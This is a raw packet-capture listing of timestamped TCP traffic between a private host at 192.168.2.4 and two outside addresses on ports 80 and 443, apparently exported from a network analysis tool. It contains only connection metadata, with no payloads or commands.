Aug 30, 2024 06:17:06.615583897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.615592957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.615602016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.615637064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.615637064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.615695953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.615705013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.615715027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.615724087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.615731955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.615770102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.615770102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.615770102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.617754936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.617805958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.617806911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.617815018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.617836952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.617846012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.617849112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.617855072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.617892027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.617901087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.617912054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.617912054 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.617933989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618035078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618042946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618047953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618057966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618067980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618083000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618093014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618103027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618104935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618104935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618104935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618113041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618124008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618124008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618182898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618196011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618196011 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618201971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618211985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618221045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618232012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618241072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618241072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618287086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618382931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618421078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618439913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618479967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618541002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618550062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618557930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618593931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618604898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618606091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618614912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618627071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618662119 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618662119 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618685007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618693113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618700981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618710995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618721008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618726015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618726969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618731022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618737936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618753910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618778944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618845940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618855000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618863106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618871927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618890047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618891001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618900061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618908882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618911028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618917942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.618931055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618947983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.618967056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.647489071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647497892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647502899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647609949 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647623062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647630930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647639990 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647671938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647680998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647689104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647703886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647713900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647733927 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.647735119 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.647735119 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.647735119 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.647754908 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.647823095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647838116 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647847891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647857904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647862911 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.647869110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647878885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647887945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647888899 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.647898912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.647914886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.647922993 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.647945881 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649085999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649096012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649105072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649131060 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649152040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649164915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649174929 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649183989 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649193048 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649204969 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649235964 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649554014 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649599075 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649602890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649638891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649652958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649668932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649677992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649688005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649693966 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649712086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649736881 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649815083 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649823904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649832964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649847031 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649854898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649863958 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649864912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649873972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649883032 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649904013 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649924040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.649935007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649943113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.649981976 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.650161028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.650177002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.650187016 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.650204897 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.650222063 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.650305033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.650314093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.650321960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.650331020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.650347948 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.650369883 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.655107021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655153990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.655169010 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655210018 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.655339956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655383110 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.655402899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655411959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655452967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655453920 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.655462980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655471087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655481100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655493021 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.655502081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655508995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.655512094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655548096 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.655569077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655579090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655586958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655596018 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.655615091 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.655625105 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.656574965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656588078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656598091 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656618118 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656619072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.656626940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656636000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656644106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.656667948 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.656752110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656760931 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656769991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656780005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656789064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656795979 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.656799078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656814098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.656836987 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.656976938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656985998 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.656994104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657002926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657012939 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657021999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657023907 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657032013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657041073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657042027 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657051086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657052994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657071114 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657089949 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657113075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657121897 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657130957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657140017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657150030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657154083 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657160997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657171011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657176971 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657180071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657190084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657190084 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657198906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657208920 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657219887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657234907 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657252073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657263041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657272100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657301903 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657396078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657406092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657414913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657424927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657433987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657443047 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657444000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657454967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657455921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657465935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657474995 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657476902 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657485008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657495975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657497883 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657507896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.657526016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.657536983 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.663753033 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.663769007 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.663820982 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.663832903 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.663872957 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.664130926 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.664155960 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.664187908 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.664200068 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.664211035 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.664237022 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.664463043 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.664484978 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.664521933 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.664530993 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.664552927 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.664565086 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.664871931 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.664885998 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.664937019 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.664942980 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.664978027 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.665127039 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.665141106 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.665188074 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.665194035 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.665208101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.665218115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.665226936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.665229082 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.665236950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.665267944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.665292025 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.665302992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.665313959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.665323019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.665332079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.665379047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.665379047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.665769100 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.665782928 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.665836096 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.665843010 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.665878057 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.666044950 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.666060925 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.666110039 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.666116953 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.666126013 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.666167021 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.666429043 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.666441917 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.666491032 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.666497946 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:06.666532993 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:06.705826998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.705837965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.705846071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.705857038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.705867052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.705877066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.705885887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.705903053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.705903053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.705903053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.705919981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.705962896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.705972910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.705986977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.705995083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706003904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706003904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:06.706012964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:06.706017017 CEST	49733	80	192.168.2.4	147.45.44.104
